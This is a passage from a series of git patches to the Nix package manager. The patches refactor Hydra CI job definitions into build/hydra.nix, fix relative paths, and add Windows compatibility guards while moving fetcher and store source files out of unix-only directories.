-        buildNoGc = forAllSystems (system:
-          self.packages.${system}.nix.override { enableGC = false; }
-        );
-
-        buildNoTests = forAllSystems (system:
-          self.packages.${system}.nix.override {
-            doCheck = false;
-            doInstallCheck = false;
-            installUnitTests = false;
-          }
-        );
-
-        # Toggles some settings for better coverage. Windows needs these
-        # library combinations, and Debian build Nix with GNU readline too.
-        buildReadlineNoMarkdown = forAllSystems (system:
-          self.packages.${system}.nix.override {
-            enableMarkdown = false;
-            readlineFlavor = "readline";
-          }
-        );
-
-        # Perl bindings for various platforms.
-        perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings);
-
-        # Binary tarball for various platforms, containing a Nix store
-        # with the closure of 'nix' package, and the second half of
-        # the installation script.
-        binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native);
-
-        binaryTarballCross = lib.genAttrs ["x86_64-linux"] (system:
-          forAllCrossSystems (crossSystem:
-            binaryTarball
-              self.packages.${system}."nix-${crossSystem}"
-              nixpkgsFor.${system}.cross.${crossSystem}));
-
-        # The first half of the installation script. This is uploaded
-        # to https://nixos.org/nix/install. It downloads the binary
-        # tarball for the user's system and calls the second half of the
-        # installation script.
-        installerScript = installScriptFor [
-          # Native
-          self.hydraJobs.binaryTarball."x86_64-linux"
-          self.hydraJobs.binaryTarball."i686-linux"
-          self.hydraJobs.binaryTarball."aarch64-linux"
-          self.hydraJobs.binaryTarball."x86_64-darwin"
-          self.hydraJobs.binaryTarball."aarch64-darwin"
-          # Cross
-          self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
-          self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
-          self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
-        ];
-        installerScriptForGHA = installScriptFor [
-          # Native
-          self.hydraJobs.binaryTarball."x86_64-linux"
-          self.hydraJobs.binaryTarball."x86_64-darwin"
-          # Cross
-          self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
-          self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
-          self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
-        ];
-
-        # docker image with Nix inside
-        dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage);
-
-        # Line coverage analysis.
-        coverage = nixpkgsFor.x86_64-linux.native.nix.override {
-          pname = "nix-coverage";
-          withCoverageChecks = true;
-        };
-
-        # API docs for Nix's unstable internal C++ interfaces.
-        internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix {
-          inherit fileset;
-          doBuild = false;
-          enableInternalAPIDocs = true;
-        };
-
-        # API docs for Nix's C bindings.
-        external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix {
-          inherit fileset;
-          doBuild = false;
-          enableExternalAPIDocs = true;
-        };
-
-        # System tests.
-        tests = import ./tests/nixos { inherit lib nixpkgs nixpkgsFor; } // {
-
-          # Make sure that nix-env still produces the exact same result
-          # on a particular version of Nixpkgs.
-          evalNixpkgs =
-            let
-              inherit (nixpkgsFor.x86_64-linux.native) runCommand nix;
-            in
-            runCommand "eval-nixos" { buildInputs = [ nix ]; }
-              ''
-                type -p nix-env
-                # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593.
-                (
-                  set -x
-                  time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages
-                  [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]]
-                )
-                mkdir $out
-              '';
-
-          nixpkgsLibTests =
-            forAllSystems (system:
-              import (nixpkgs + "/lib/tests/release.nix")
-                { pkgs = nixpkgsFor.${system}.native;
-                  nixVersions = [ self.packages.${system}.nix ];
-                }
-            );
-        };
-
-        metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" {
-          pkgs = nixpkgsFor.x86_64-linux.native;
-          nixpkgs = nixpkgs-regression;
-        };
-
-        installTests = forAllSystems (system:
-          let pkgs = nixpkgsFor.${system}.native; in
-          pkgs.runCommand "install-tests" {
-            againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix;
-            againstCurrentUnstable =
-              # FIXME: temporarily disable this on macOS because of #3605.
-              if system == "x86_64-linux"
-              then testNixVersions pkgs pkgs.nix pkgs.nixUnstable
-              else null;
-            # Disabled because the latest stable version doesn't handle
-            # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work
-            # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable;
-          } "touch $out");
-
-        installerTests = import ./tests/installer {
-          binaryTarballs = self.hydraJobs.binaryTarball;
-          inherit nixpkgsFor;
-        };
-
-      };
+      inherit (import ./build/hydra.nix {
+        inherit
+          inputs
+          binaryTarball
+          forAllCrossSystems
+          forAllSystems
+          installScriptFor
+          lib
+          linux64BitSystems
+          nixpkgsFor
+          self
+          testNixVersions
+          ;
+        }) hydraJobs;
 
       checks = forAllSystems (system: {
         binaryTarball = self.hydraJobs.binaryTarball.${system};

From 0067f49e8765710f8d9ccd753b516c0c8f13e87f Mon Sep 17 00:00:00 2001
From: fricklerhandwerk <valentin@fricklerhandwerk.de>
Date: Fri, 31 May 2024 20:37:58 +0200
Subject: [PATCH 226/528] move more declarations

---
 build/hydra.nix | 28 ++++++++++++++++++++++++----
 flake.nix       | 24 ------------------------
 2 files changed, 24 insertions(+), 28 deletions(-)

diff --git a/build/hydra.nix b/build/hydra.nix
index 98054873d5e..bc2bb3b523e 100644
--- a/build/hydra.nix
+++ b/build/hydra.nix
@@ -2,16 +2,36 @@
 , binaryTarball
 , forAllCrossSystems
 , forAllSystems
-, installScriptFor
 , lib
 , linux64BitSystems
 , nixpkgsFor
 , self
-, testNixVersions
 }:
 let
   inherit (inputs) nixpkgs nixpkgs-regression;
   inherit (lib) fileset;
+
+  installScriptFor = tarballs:
+    nixpkgsFor.x86_64-linux.native.callPackage ./scripts/installer.nix {
+      inherit tarballs;
+    };
+
+  testNixVersions = pkgs: client: daemon:
+    pkgs.callPackage ../package.nix {
+      pname =
+        "nix-tests"
+        + lib.optionalString
+          (lib.versionAtLeast daemon.version "2.4pre20211005" &&
+           lib.versionAtLeast client.version "2.4pre20211005")
+          "-${client.version}-against-${daemon.version}";
+
+      inherit fileset;
+
+      test-client = client;
+      test-daemon = daemon;
+
+      doBuild = false;
+    };
 in
 {
   hydraJobs = {
@@ -96,14 +116,14 @@ in
     };
 
     # API docs for Nix's unstable internal C++ interfaces.
-    internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix {
+    internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
       inherit fileset;
       doBuild = false;
       enableInternalAPIDocs = true;
     };
 
     # API docs for Nix's C bindings.
-    external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ./package.nix {
+    external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
       inherit fileset;
       doBuild = false;
       enableExternalAPIDocs = true;
diff --git a/flake.nix b/flake.nix
index 866dab00e52..a57031cfc3e 100644
--- a/flake.nix
+++ b/flake.nix
@@ -104,28 +104,6 @@
           cross = forAllCrossSystems (crossSystem: make-pkgs crossSystem "stdenv");
         });
 
-      installScriptFor = tarballs:
-        nixpkgsFor.x86_64-linux.native.callPackage ./scripts/installer.nix {
-          inherit tarballs;
-        };
-
-      testNixVersions = pkgs: client: daemon:
-        pkgs.callPackage ./package.nix {
-          pname =
-            "nix-tests"
-            + lib.optionalString
-              (lib.versionAtLeast daemon.version "2.4pre20211005" &&
-               lib.versionAtLeast client.version "2.4pre20211005")
-              "-${client.version}-against-${daemon.version}";
-
-          inherit fileset;
-
-          test-client = client;
-          test-daemon = daemon;
-
-          doBuild = false;
-        };
-
       binaryTarball = nix: pkgs: pkgs.callPackage ./scripts/binary-tarball.nix {
         inherit nix;
       };
@@ -238,12 +216,10 @@
           binaryTarball
           forAllCrossSystems
           forAllSystems
-          installScriptFor
           lib
           linux64BitSystems
           nixpkgsFor
           self
-          testNixVersions
           ;
         }) hydraJobs;
 

From 1c46b9b2c5a14fa1c13750e7a504139e52676f8e Mon Sep 17 00:00:00 2001
From: fricklerhandwerk <valentin@fricklerhandwerk.de>
Date: Fri, 31 May 2024 23:27:14 +0200
Subject: [PATCH 227/528] fix path

---
 build/hydra.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/build/hydra.nix b/build/hydra.nix
index bc2bb3b523e..7a7cecd2cef 100644
--- a/build/hydra.nix
+++ b/build/hydra.nix
@@ -12,7 +12,7 @@ let
   inherit (lib) fileset;
 
   installScriptFor = tarballs:
-    nixpkgsFor.x86_64-linux.native.callPackage ./scripts/installer.nix {
+    nixpkgsFor.x86_64-linux.native.callPackage ../scripts/installer.nix {
       inherit tarballs;
     };
 

From 300b129fc778ecf020ae624474aecd51c72e8fc3 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 31 May 2024 18:27:20 -0400
Subject: [PATCH 228/528] `hydra.nix` Can just return the obj for that name

---
 build/hydra.nix | 288 ++++++++++++++++++++++++------------------------
 flake.nix       |   4 +-
 2 files changed, 145 insertions(+), 147 deletions(-)

diff --git a/build/hydra.nix b/build/hydra.nix
index 7a7cecd2cef..595aad324ec 100644
--- a/build/hydra.nix
+++ b/build/hydra.nix
@@ -34,155 +34,153 @@ let
     };
 in
 {
-  hydraJobs = {
-    # Binary package for various platforms.
-    build = forAllSystems (system: self.packages.${system}.nix);
-
-    shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
-
-    buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static);
-
-    buildCross = forAllCrossSystems (crossSystem:
-      lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}"));
-
-    buildNoGc = forAllSystems (system:
-      self.packages.${system}.nix.override { enableGC = false; }
-    );
-
-    buildNoTests = forAllSystems (system:
-      self.packages.${system}.nix.override {
-        doCheck = false;
-        doInstallCheck = false;
-        installUnitTests = false;
-      }
-    );
-
-    # Toggles some settings for better coverage. Windows needs these
-    # library combinations, and Debian build Nix with GNU readline too.
-    buildReadlineNoMarkdown = forAllSystems (system:
-      self.packages.${system}.nix.override {
-        enableMarkdown = false;
-        readlineFlavor = "readline";
-      }
-    );
-
-    # Perl bindings for various platforms.
-    perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings);
-
-    # Binary tarball for various platforms, containing a Nix store
-    # with the closure of 'nix' package, and the second half of
-    # the installation script.
-    binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native);
-
-    binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system:
-      forAllCrossSystems (crossSystem:
-        binaryTarball
-          self.packages.${system}."nix-${crossSystem}"
-          nixpkgsFor.${system}.cross.${crossSystem}));
-
-    # The first half of the installation script. This is uploaded
-    # to https://nixos.org/nix/install. It downloads the binary
-    # tarball for the user's system and calls the second half of the
-    # installation script.
-    installerScript = installScriptFor [
-      # Native
-      self.hydraJobs.binaryTarball."x86_64-linux"
-      self.hydraJobs.binaryTarball."i686-linux"
-      self.hydraJobs.binaryTarball."aarch64-linux"
-      self.hydraJobs.binaryTarball."x86_64-darwin"
-      self.hydraJobs.binaryTarball."aarch64-darwin"
-      # Cross
-      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
-      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
-      self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
-    ];
-    installerScriptForGHA = installScriptFor [
-      # Native
-      self.hydraJobs.binaryTarball."x86_64-linux"
-      self.hydraJobs.binaryTarball."x86_64-darwin"
-      # Cross
-      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
-      self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
-      self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
-    ];
-
-    # docker image with Nix inside
-    dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage);
-
-    # Line coverage analysis.
-    coverage = nixpkgsFor.x86_64-linux.native.nix.override {
-      pname = "nix-coverage";
-      withCoverageChecks = true;
-    };
+  # Binary package for various platforms.
+  build = forAllSystems (system: self.packages.${system}.nix);
+
+  shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
+
+  buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static);
+
+  buildCross = forAllCrossSystems (crossSystem:
+    lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}"));
+
+  buildNoGc = forAllSystems (system:
+    self.packages.${system}.nix.override { enableGC = false; }
+  );
+
+  buildNoTests = forAllSystems (system:
+    self.packages.${system}.nix.override {
+      doCheck = false;
+      doInstallCheck = false;
+      installUnitTests = false;
+    }
+  );
+
+  # Toggles some settings for better coverage. Windows needs these
+  # library combinations, and Debian build Nix with GNU readline too.
+  buildReadlineNoMarkdown = forAllSystems (system:
+    self.packages.${system}.nix.override {
+      enableMarkdown = false;
+      readlineFlavor = "readline";
+    }
+  );
+
+  # Perl bindings for various platforms.
+  perlBindings = forAllSystems (system: nixpkgsFor.${system}.native.nix.perl-bindings);
+
+  # Binary tarball for various platforms, containing a Nix store
+  # with the closure of 'nix' package, and the second half of
+  # the installation script.
+  binaryTarball = forAllSystems (system: binaryTarball nixpkgsFor.${system}.native.nix nixpkgsFor.${system}.native);
+
+  binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system:
+    forAllCrossSystems (crossSystem:
+      binaryTarball
+        self.packages.${system}."nix-${crossSystem}"
+        nixpkgsFor.${system}.cross.${crossSystem}));
+
+  # The first half of the installation script. This is uploaded
+  # to https://nixos.org/nix/install. It downloads the binary
+  # tarball for the user's system and calls the second half of the
+  # installation script.
+  installerScript = installScriptFor [
+    # Native
+    self.hydraJobs.binaryTarball."x86_64-linux"
+    self.hydraJobs.binaryTarball."i686-linux"
+    self.hydraJobs.binaryTarball."aarch64-linux"
+    self.hydraJobs.binaryTarball."x86_64-darwin"
+    self.hydraJobs.binaryTarball."aarch64-darwin"
+    # Cross
+    self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
+    self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
+    self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
+  ];
+  installerScriptForGHA = installScriptFor [
+    # Native
+    self.hydraJobs.binaryTarball."x86_64-linux"
+    self.hydraJobs.binaryTarball."x86_64-darwin"
+    # Cross
+    self.hydraJobs.binaryTarballCross."x86_64-linux"."armv6l-unknown-linux-gnueabihf"
+    self.hydraJobs.binaryTarballCross."x86_64-linux"."armv7l-unknown-linux-gnueabihf"
+    self.hydraJobs.binaryTarballCross."x86_64-linux"."riscv64-unknown-linux-gnu"
+  ];
+
+  # docker image with Nix inside
+  dockerImage = lib.genAttrs linux64BitSystems (system: self.packages.${system}.dockerImage);
+
+  # Line coverage analysis.
+  coverage = nixpkgsFor.x86_64-linux.native.nix.override {
+    pname = "nix-coverage";
+    withCoverageChecks = true;
+  };
 
-    # API docs for Nix's unstable internal C++ interfaces.
-    internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
-      inherit fileset;
-      doBuild = false;
-      enableInternalAPIDocs = true;
-    };
+  # API docs for Nix's unstable internal C++ interfaces.
+  internal-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
+    inherit fileset;
+    doBuild = false;
+    enableInternalAPIDocs = true;
+  };
 
-    # API docs for Nix's C bindings.
-    external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
-      inherit fileset;
-      doBuild = false;
-      enableExternalAPIDocs = true;
-    };
+  # API docs for Nix's C bindings.
+  external-api-docs = nixpkgsFor.x86_64-linux.native.callPackage ../package.nix {
+    inherit fileset;
+    doBuild = false;
+    enableExternalAPIDocs = true;
+  };
 
-    # System tests.
-    tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // {
-
-      # Make sure that nix-env still produces the exact same result
-      # on a particular version of Nixpkgs.
-      evalNixpkgs =
-        let
-          inherit (nixpkgsFor.x86_64-linux.native) runCommand nix;
-        in
-        runCommand "eval-nixos" { buildInputs = [ nix ]; }
-          ''
-            type -p nix-env
-            # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593.
-            (
-              set -x
-              time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages
-              [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]]
-            )
-            mkdir $out
-          '';
-
-      nixpkgsLibTests =
-        forAllSystems (system:
-          import (nixpkgs + "/lib/tests/release.nix")
-            {
-              pkgs = nixpkgsFor.${system}.native;
-              nixVersions = [ self.packages.${system}.nix ];
-            }
-        );
-    };
+  # System tests.
+  tests = import ../tests/nixos { inherit lib nixpkgs nixpkgsFor; } // {
+
+    # Make sure that nix-env still produces the exact same result
+    # on a particular version of Nixpkgs.
+    evalNixpkgs =
+      let
+        inherit (nixpkgsFor.x86_64-linux.native) runCommand nix;
+      in
+      runCommand "eval-nixos" { buildInputs = [ nix ]; }
+        ''
+          type -p nix-env
+          # Note: we're filtering out nixos-install-tools because https://github.com/NixOS/nixpkgs/pull/153594#issuecomment-1020530593.
+          (
+            set -x
+            time nix-env --store dummy:// -f ${nixpkgs-regression} -qaP --drv-path | sort | grep -v nixos-install-tools > packages
+            [[ $(sha1sum < packages | cut -c1-40) = e01b031fc9785a572a38be6bc473957e3b6faad7 ]]
+          )
+          mkdir $out
+        '';
+
+    nixpkgsLibTests =
+      forAllSystems (system:
+        import (nixpkgs + "/lib/tests/release.nix")
+          {
+            pkgs = nixpkgsFor.${system}.native;
+            nixVersions = [ self.packages.${system}.nix ];
+          }
+      );
+  };
 
-    metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" {
-      pkgs = nixpkgsFor.x86_64-linux.native;
-      nixpkgs = nixpkgs-regression;
-    };
+  metrics.nixpkgs = import "${nixpkgs-regression}/pkgs/top-level/metrics.nix" {
+    pkgs = nixpkgsFor.x86_64-linux.native;
+    nixpkgs = nixpkgs-regression;
+  };
 
-    installTests = forAllSystems (system:
-      let pkgs = nixpkgsFor.${system}.native; in
-      pkgs.runCommand "install-tests"
-        {
-          againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix;
-          againstCurrentUnstable =
-            # FIXME: temporarily disable this on macOS because of #3605.
-            if system == "x86_64-linux"
-            then testNixVersions pkgs pkgs.nix pkgs.nixUnstable
-            else null;
-          # Disabled because the latest stable version doesn't handle
-          # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work
-          # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable;
-        } "touch $out");
-
-    installerTests = import ../tests/installer {
-      binaryTarballs = self.hydraJobs.binaryTarball;
-      inherit nixpkgsFor;
-    };
+  installTests = forAllSystems (system:
+    let pkgs = nixpkgsFor.${system}.native; in
+    pkgs.runCommand "install-tests"
+      {
+        againstSelf = testNixVersions pkgs pkgs.nix pkgs.pkgs.nix;
+        againstCurrentUnstable =
+          # FIXME: temporarily disable this on macOS because of #3605.
+          if system == "x86_64-linux"
+          then testNixVersions pkgs pkgs.nix pkgs.nixUnstable
+          else null;
+        # Disabled because the latest stable version doesn't handle
+        # `NIX_DAEMON_SOCKET_PATH` which is required for the tests to work
+        # againstLatestStable = testNixVersions pkgs pkgs.nix pkgs.nixStable;
+      } "touch $out");
+
+  installerTests = import ../tests/installer {
+    binaryTarballs = self.hydraJobs.binaryTarball;
+    inherit nixpkgsFor;
   };
 }
diff --git a/flake.nix b/flake.nix
index a57031cfc3e..6fb159d6e54 100644
--- a/flake.nix
+++ b/flake.nix
@@ -210,7 +210,7 @@
       # 'nix.perl-bindings' packages.
       overlays.default = overlayFor (p: p.stdenv);
 
-      inherit (import ./build/hydra.nix {
+      hydraJobs = import ./build/hydra.nix {
         inherit
           inputs
           binaryTarball
@@ -221,7 +221,7 @@
           nixpkgsFor
           self
           ;
-        }) hydraJobs;
+      };
 
       checks = forAllSystems (system: {
         binaryTarball = self.hydraJobs.binaryTarball.${system};

From e0b159549b7d88f3b134633336190e68e90eb5dd Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sat, 1 Jun 2024 16:39:59 -0400
Subject: [PATCH 229/528] Misc Windows fixes

1. Fix build by making the legacy SSH Storey's secret `logFD` setting
   not a setting on Windows. (It doesn't make sense to specify `void *`
   handles by integer cross-proccess, I don't think.)

2. Move some files that don't need to be Unix-only anymore back to their
   original locations.
---
 maintainers/flake-module.nix                  | 12 ++++-----
 src/libfetchers/{unix => }/git.cc             | 27 ++++++++++++++++---
 src/libfetchers/local.mk                      |  6 -----
 src/libfetchers/{unix => }/mercurial.cc       |  0
 src/libstore/{unix => }/builtins/fetchurl.cc  |  0
 .../{unix => }/builtins/unpack-channel.cc     |  0
 src/libstore/legacy-ssh-store.hh              |  6 ++++-
 .../{unix => }/local-overlay-store.cc         |  0
 .../{unix => }/local-overlay-store.hh         |  0
 .../{unix => }/local-overlay-store.md         |  0
 src/libstore/local.mk                         |  2 +-
 11 files changed, 36 insertions(+), 17 deletions(-)
 rename src/libfetchers/{unix => }/git.cc (98%)
 rename src/libfetchers/{unix => }/mercurial.cc (100%)
 rename src/libstore/{unix => }/builtins/fetchurl.cc (100%)
 rename src/libstore/{unix => }/builtins/unpack-channel.cc (100%)
 rename src/libstore/{unix => }/local-overlay-store.cc (100%)
 rename src/libstore/{unix => }/local-overlay-store.hh (100%)
 rename src/libstore/{unix => }/local-overlay-store.md (100%)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 419994bdb8e..a42828208b0 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -125,8 +125,8 @@
             ''^src/libfetchers/registry\.hh$''
             ''^src/libfetchers/tarball\.cc$''
             ''^src/libfetchers/tarball\.hh$''
-            ''^src/libfetchers/unix/git\.cc$''
-            ''^src/libfetchers/unix/mercurial\.cc$''
+            ''^src/libfetchers/git\.cc$''
+            ''^src/libfetchers/mercurial\.cc$''
             ''^src/libmain/common-args\.cc$''
             ''^src/libmain/common-args\.hh$''
             ''^src/libmain/loggers\.cc$''
@@ -237,11 +237,11 @@
             ''^src/libstore/build/substitution-goal\.hh$''
             ''^src/libstore/build/worker\.cc$''
             ''^src/libstore/build/worker\.hh$''
-            ''^src/libstore/unix/builtins/fetchurl\.cc$''
-            ''^src/libstore/unix/builtins/unpack-channel\.cc$''
+            ''^src/libstore/builtins/fetchurl\.cc$''
+            ''^src/libstore/builtins/unpack-channel\.cc$''
             ''^src/libstore/gc\.cc$''
-            ''^src/libstore/unix/local-overlay-store\.cc$''
-            ''^src/libstore/unix/local-overlay-store\.hh$''
+            ''^src/libstore/local-overlay-store\.cc$''
+            ''^src/libstore/local-overlay-store\.hh$''
             ''^src/libstore/local-store\.cc$''
             ''^src/libstore/local-store\.hh$''
             ''^src/libstore/unix/user-lock\.cc$''
diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/git.cc
similarity index 98%
rename from src/libfetchers/unix/git.cc
rename to src/libfetchers/git.cc
index fa7ef36211a..ce80932f676 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/git.cc
@@ -19,7 +19,10 @@
 #include <regex>
 #include <string.h>
 #include <sys/time.h>
-#include <sys/wait.h>
+
+#ifndef _WIN32
+#  include <sys/wait.h>
+#endif
 
 using namespace std::string_literals;
 
@@ -40,6 +43,7 @@ bool isCacheFileWithinTtl(time_t now, const struct stat & st)
 
 bool touchCacheFile(const Path & path, time_t touch_time)
 {
+#ifndef _WIN32 // TODO implement
     struct timeval times[2];
     times[0].tv_sec = touch_time;
     times[0].tv_usec = 0;
@@ -47,6 +51,9 @@ bool touchCacheFile(const Path & path, time_t touch_time)
     times[1].tv_usec = 0;
 
     return lutimes(path.c_str(), times) == 0;
+#else
+    return false;
+#endif
 }
 
 Path getCachePath(std::string_view key, bool shallow)
@@ -98,7 +105,15 @@ bool storeCachedHead(const std::string & actualUrl, const std::string & headRef)
     try {
         runProgram("git", true, { "-C", cacheDir, "--git-dir", ".", "symbolic-ref", "--", "HEAD", headRef });
     } catch (ExecError &e) {
-        if (!WIFEXITED(e.status)) throw;
+        if (
+#ifndef WIN32 // TODO abstract over exit status handling on Windows
+            !WIFEXITED(e.status)
+#else
+            e.status != 0
+#endif
+            )
+            throw;
+
         return false;
     }
     /* No need to touch refs/HEAD, because `git symbolic-ref` updates the mtime. */
@@ -329,7 +344,13 @@ struct GitInputScheme : InputScheme
             .program = "git",
             .args = {"-C", repoInfo.url, "--git-dir", repoInfo.gitDir, "check-ignore", "--quiet", std::string(path.rel())},
         });
-        auto exitCode = WEXITSTATUS(result.first);
+        auto exitCode =
+#ifndef WIN32 // TODO abstract over exit status handling on Windows
+            WEXITSTATUS(result.first)
+#else
+            result.first
+#endif
+            ;
 
         if (exitCode != 0) {
             // The path is not `.gitignore`d, we can add the file.
diff --git a/src/libfetchers/local.mk b/src/libfetchers/local.mk
index 0fef1466b1c..e229a099353 100644
--- a/src/libfetchers/local.mk
+++ b/src/libfetchers/local.mk
@@ -5,16 +5,10 @@ libfetchers_NAME = libnixfetchers
 libfetchers_DIR := $(d)
 
 libfetchers_SOURCES := $(wildcard $(d)/*.cc)
-ifdef HOST_UNIX
-  libfetchers_SOURCES += $(wildcard $(d)/unix/*.cc)
-endif
 
 # Not just for this library itself, but also for downstream libraries using this library
 
 INCLUDE_libfetchers := -I $(d)
-ifdef HOST_UNIX
-  INCLUDE_libfetchers += -I $(d)/unix
-endif
 
 libfetchers_CXXFLAGS += $(INCLUDE_libutil) $(INCLUDE_libstore) $(INCLUDE_libfetchers)
 
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/mercurial.cc
similarity index 100%
rename from src/libfetchers/unix/mercurial.cc
rename to src/libfetchers/mercurial.cc
diff --git a/src/libstore/unix/builtins/fetchurl.cc b/src/libstore/builtins/fetchurl.cc
similarity index 100%
rename from src/libstore/unix/builtins/fetchurl.cc
rename to src/libstore/builtins/fetchurl.cc
diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/builtins/unpack-channel.cc
similarity index 100%
rename from src/libstore/unix/builtins/unpack-channel.cc
rename to src/libstore/builtins/unpack-channel.cc
diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh
index 6c3c9508034..b683ed58057 100644
--- a/src/libstore/legacy-ssh-store.hh
+++ b/src/libstore/legacy-ssh-store.hh
@@ -26,10 +26,14 @@ struct LegacySSHStoreConfig : virtual CommonSSHStoreConfig
 
 struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Store
 {
+#ifndef _WIN32
     // Hack for getting remote build log output.
     // Intentionally not in `LegacySSHStoreConfig` so that it doesn't appear in
     // the documentation
-    const Setting<int> logFD{this, -1, "log-fd", "file descriptor to which SSH's stderr is connected"};
+    const Setting<int> logFD{this, INVALID_DESCRIPTOR, "log-fd", "file descriptor to which SSH's stderr is connected"};
+#else
+    Descriptor logFD = INVALID_DESCRIPTOR;
+#endif
 
     struct Connection;
 
diff --git a/src/libstore/unix/local-overlay-store.cc b/src/libstore/local-overlay-store.cc
similarity index 100%
rename from src/libstore/unix/local-overlay-store.cc
rename to src/libstore/local-overlay-store.cc
diff --git a/src/libstore/unix/local-overlay-store.hh b/src/libstore/local-overlay-store.hh
similarity index 100%
rename from src/libstore/unix/local-overlay-store.hh
rename to src/libstore/local-overlay-store.hh
diff --git a/src/libstore/unix/local-overlay-store.md b/src/libstore/local-overlay-store.md
similarity index 100%
rename from src/libstore/unix/local-overlay-store.md
rename to src/libstore/local-overlay-store.md
diff --git a/src/libstore/local.mk b/src/libstore/local.mk
index 60174d00982..5dc8f3370bc 100644
--- a/src/libstore/local.mk
+++ b/src/libstore/local.mk
@@ -6,7 +6,7 @@ libstore_DIR := $(d)
 
 libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc $(d)/build/*.cc)
 ifdef HOST_UNIX
-  libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/builtins/*.cc $(d)/unix/build/*.cc)
+  libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/build/*.cc)
 endif
 ifdef HOST_LINUX
   libstore_SOURCES += $(wildcard $(d)/linux/*.cc)

From 68090d7ff19054e76bf90cb309c4fe57281443dc Mon Sep 17 00:00:00 2001
From: Ivan Trubach <mr.trubach@icloud.com>
Date: Sun, 2 Jun 2024 14:26:18 +0300
Subject: [PATCH 230/528] Fix empty outputsToInstall for InstallableAttrPath

Fixes assertion failure if outputsToInstall is empty by defaulting to the "out"
output. That is, behavior between the following commands should be consistent:

	$ nix build --no-link --json .#nothing-to-install-no-out
	error: derivation '/nix/store/eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee-nothing-to-install-no-out.drv' does not have wanted outputs 'out'

